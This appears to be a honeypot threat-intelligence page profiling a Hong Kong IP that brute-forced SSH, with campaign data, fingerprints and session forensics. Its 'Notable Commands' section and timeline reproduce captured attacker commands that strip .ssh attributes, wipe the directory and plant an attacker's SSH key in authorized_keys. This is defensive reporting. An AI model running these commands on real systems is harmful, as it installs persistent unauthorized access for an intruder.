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Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
240
Above average by volume
Agent Count
1
First / Last Seen
2026-04-29 19:39 — 2026-04-29 20:36
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
Subnet 165.154.23.0/24
SUBNET
Active
high
🇭🇰 HK
4 IPs
1996 events
ssh:bruteforce
2026-03-30 — ongoing · 4 IPs from the same /24 subnet (165.154.23.0/24) were observed attacking our sensors within the same time window. …
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (687 IPs, 77 countries)
HASSH
Active
high
🇮🇩 ID
687 IPs
286513 events
ssh:bruteforce
2026-02-28 — ongoing · 687 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
Session Forensics
Sessions
40 (10 with login)
Avg Depth Score
0.34
Commands Executed
15
Files Downloaded
5
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
c8bdd83d58f2
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
96b03fd7b467
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
d1cdcff065ed
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
df549faa5d8c
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
7b6d7ecf921a
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
ff847a60e076
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Opportunistic Bruter
842ded0bf866
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
b9db4e2bb9da
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
67fa7db9cdab
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
c9e100d8df79
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…